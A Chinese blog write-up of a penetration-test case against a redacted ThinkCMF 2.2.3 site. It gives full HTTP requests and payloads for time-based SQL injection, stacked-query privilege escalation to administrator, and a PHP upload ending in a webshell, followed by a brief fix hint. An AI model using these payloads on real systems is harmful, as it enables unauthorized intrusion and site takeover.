[漏洞案例]thinkcmf 2.x从sql注入到getshell实战
0X00 前言
这个案例是某项目的漏洞,涉及敏感的地方将会打码。
很久没更新博客了,放一篇上来除除草,新的一年会有所转变,以后会有更多领域的研究。
下面是正文
0X01 正文
某厂商某个网站用的是thinkcmf 2.2.3。
thinkcmf 2.2.3系统是存在漏洞的,参考先知上喵呜师傅写的一篇文章(https://xz.aliyun.com/t/3529 )
文章中提到了三个漏洞,一个注入,两个模板注入写shell。
但是系统是部署在linux下面的,模板注入是不行的。
所以文章编辑处的sql注入漏洞是比较好的方法了。
但是这里的注入需要登陆。
虽然网站默认关闭了注册,登陆等前端页面展示。
但其实后端的逻辑是没有关闭的。
所以我们只要抓到注册,登陆的URL就可以注册一个用户,从而利用SQL注入漏洞了。
第一步:注册用户
因为注册用户需要用到验证码,请求验证码的URL为
http://xx.target.com/index.php?g=api&m=checkcode&a=index&length=2&font_size=14&width=100&height=34&charset=2345678&use_noise=0&use_curve=0
下面是注册请求包,把验证码放到verify参数里面
POST /index.php?g=user&m=register&a=doregister HTTP/1.1
Host: xx.target.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Cookie: _ga=GA1.3.247321242.1547113529; _gid=GA1.3.1692231506.1547113529; Hm_lvt_fd3ebc39e3d20d958cc417964a1a070f=1547114908; GmZMlN_think_language=zh-CN; PHPSESSID=rca5i9uik29o378crgi37c0v61spvn88; _gat=1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
email=r00tuser@email.com&password=xxxxxxx&repassword=xxxxxxx&verify=8486
成功注册了个用户。
第二步:登陆
同样登陆也需要验证码,同样用上面请求的URL获取一个验证码,填写在verify参数里面
请求包如下:
第三步:注入
因为thinkcmf是用thinkphp 3.2.3的,存在bind 注入,原理就不多解释了,可以参考先知喵呜写的tp安全总结。
请求包如下:
POST /index.php?g=Portal&m=Article&a=edit_post HTTP/1.1
Host: xx.target.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Cookie: _ga=GA1.3.247321242.1547113529; _gid=GA1.3.1692231506.1547113529; Hm_lvt_fd3ebc39e3d20d958cc417964a1a070f=1547114908; GmZMlN_think_language=zh-CN; PHPSESSID=rca5i9uik29o378crgi37c0v61spvn88; _gat=1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 184
post[post_title]=122&post[post_content]=1&term=123&post[post_title]=aaa&post_title=123&post[id][0]=bind&post[id][1]=0 and if(ascii(substr(user(),1,1))=115,benchmark(1000000,sha(1)),1)
由于程序关闭了报错,而且这里是update类型注入,所以这里只能用延时注入。
payload:and if(ascii(substr(user(),1,1))=115,benchmark(1000000,sha(1)),1)
意思为猜测当前数据库用户的首位字符的ascii码。
正常请求,返回时间为64。
当猜测ascii码为116时,返回时间为417。
因为thinkphp 底层用的是pdo所写,所以我们是可以执行多语句的。
通过一番延时注入猜测到表前缀为xxxx,表结构大多数不会变,所以我们只要猜测到表前缀即可,通过thinkcmf的源码来注入了。
下面通过注入执行多语句从而将前台用户r00tuse@email.com提升为后台管理员。
首先是注入,设置用户的user_type。
payload:;update `xxxxx_users` set user_type=1 where `user_email`=r00tuse@email.com';
这里还有一步是通过注入获取r00tuser@email.com这个用户的user_id。
payload:and if((select id from xxxx_users where user_email='r00tuser@email.com')=6,benchmark(1000000,sha(1)),1)
用户user_id为6。
接着是修改用户角色为超级管理员。
payload:;INSERT INTO `xxxx_role_user`(`role_id`,`user_id`)values(1,6);
第四步:登陆后台,修改上传配置
用户名:r00tuser@email.com 密码:xxxxxxxxxx
打开链接:http://xx.target.com/index.php?g=admin&m=public&a=login
成功登陆:
修改上传设置,添加上传文件后缀php
http://xx.target.com/index.php?g=Admin&m=Setting&a=upload
最后一步,找一个可以上传图片的地方,直接把php文件上传即可。
http://xx.target.com/index.php?g=&m=AdminPost&a=add&term=
点击图片,直接选择xx.php 即可。
请求包如下,只是打印Hello,World。
在返回包中获取到php存放地址。
最后访问链接:http://xx.target.com/data//upload//ueditor//20190111//5c3838d372091.php
成功getshell。
修复建议:
1):在底层think_filter方法添加bind过滤。具体为
文件地址:simplewind\Core\Mode\Api\functions.php
0x02 说在最后
pdo让很多注入到getshell成为了可能,从注入到getshell一套下来,整个感受就一个字,爽!
转载于:https://www.cnblogs.com/r00tuser/p/10364966.html
[漏洞案例]thinkcmf 2.x从sql注入到getshell实战相关推荐
- mysql 漏洞 wa_[漏洞案例]thinkcmf 2.x从sql注入到getshell实战
文章中提到了三个漏洞,一个注入,两个模板注入写shell. 但是系统是部署在linux下面的,模板注入是不行的. 所以文章编辑处的sql注入漏洞是比较好的方法了. 但是这里的注入需要登陆. 虽然网站默 ...
- php 越权 漏洞,PHPYUN最新版多处SQL注入及越权操作二
### 简要描述: PHPYUN最新版(phpyun_v3.1.0604_gbk)多处SQL注入及越权操作 虽然PHPYUN在注入防御上已经做得很不错了,方的很严格,像吃掉引号,宽字节的基本上很少了, ...
- 【SQL注入】通过实战教你手工注入MySql数据库
[SQL注入]通过实战教你手工注入MySql数据库 Hello,各位小伙伴们大家晚上好~~ 不知不觉,已经是本公众号的第八篇技术文章了,你们都有认真阅读吗? 正当小编发愁下一篇写什么的时候,鲁迅发话了 ...
- wordpress漏洞_多个WordPress插件SQL注入漏洞分析
背景 SQL注入漏洞是用来构建SQL查询的用户输入未经适当处理导致的漏洞.比如: 图1: 使用WordPress的SQL查询示例 从上面的代码来看,其中存在SQL注入攻击漏洞,因为从$_GET中提取的 ...
- /plus/recommend.php sql注入漏洞,DedeCMS 全版本通杀SQL注入漏洞利用代码及工具 -
DedeCMS 全版本通杀SQL注入漏洞利用代码及工具 目前官方最新版已修复该漏洞 V5.7.37 GBK正式版20140228常规更新补丁 http://www.dedecms.com/pl/ ht ...
- php100漏洞,phpyun人才管理系统V5.0 SQL注入漏洞分析
*世界上最愚蠢的事莫过于我们无比狂热地做一件事,到最后却不知道为什么要做* cms背景介绍 PHP云人才管理系统(phpyun)是国内主流人才管理CMS系统之一!PHP云专为中文用户设计和开发,采用: ...
- 测试具有44个漏洞点的简单小靶场-SQL注入篇
文章目录 本地搭建 SQL注入篇 注入1(数字型注入) 注入2(闭合单引号) 注入3(闭合双引号) 注入4(闭合括号) 注入5(报错注入) 注入6(布尔盲注) 注入7(过滤了'--'和'#'以及'%2 ...
- SQL注入零基础实战
注:如果是零基础,那么一定要从上到下一个点一个点的学习,不然肯定有很多阻碍,一上来就想开始最后面的实战是不可能滴. 还不够了解SQL注入的可以看看我另一篇博客: https://blog.csdn.n ...
- 网络安全-实战篇 ZZZPHP1.61 代码审计-从SQL注入到Getshell
近期有很多小伙伴在后台留言想看关于代码审计的文章,其实有关审计的文章网上资源是比较多的,但是从代码审计开始到结束的这类文章却少之甚少. 今天要讲解的ZZZPHP1.61这套审计漏洞比较多,SQL注入漏 ...
- 从sql注入到getshell (内附sqlmap的os-shell遇到中文路径的解决办法)
`搜索公众号:白帽子左一,每天更新技术干货! 作者:掌控安全学员--君叹 基本界面 试试看信息列表里面随便点一条看下网络请求 可以看到一个带有参数的请求,我们试着直接访问 直接访问的话能够看到直接的文 ...
最新文章
- 深入浅出 ZooKeeper
- Ubuntu 20.04 nfs搭建
- 25 linux ndk 头文件_正点原子Linux第二十五章RTC实时时钟实验
- 又一波你可能不知道的 Linux 命令行网络监控工具
- 五大法则助你成为更出色的开发者|原力计划
- Caused by: org.hibernate.HibernateException: unknown Oracle major version [0]
- SQLMap——Tamper学习
- tm影像辐射定标_Landsat-TM-辐射定标和大气校正步骤
- 支付宝 支付返回 4000 ,系统繁忙请稍后再试
- 零代码上线小布对话技能:技能平台的实践与思考
- 小成开发日记----物联网项目LoveTv实现web网页传输数据到单片机-表白女朋友(技术栈涉及web前端,php后端,c/c++ socket,嵌入式前后端)
- 长差分:LongDifference及AcemogluAER论文推介
- 计算机组成原理总,计算机组成原理总总结复习(88页)-原创力文档
- 市面售价2W的仿抖音短视频原生双端APP源码,带技术文档管理后台和数据库
- FAT32 学习及注意事项
- WKT (Well Known Text)
- Python3开发 语法(三)
- 键盘事件是什么?键盘事件包括哪几种?
- 在Docker中使用Python Selenium和Headless Chrome进行网站自动化测试的方法
- WebStorm2018破解(2018年10月9日 16:13实测有效)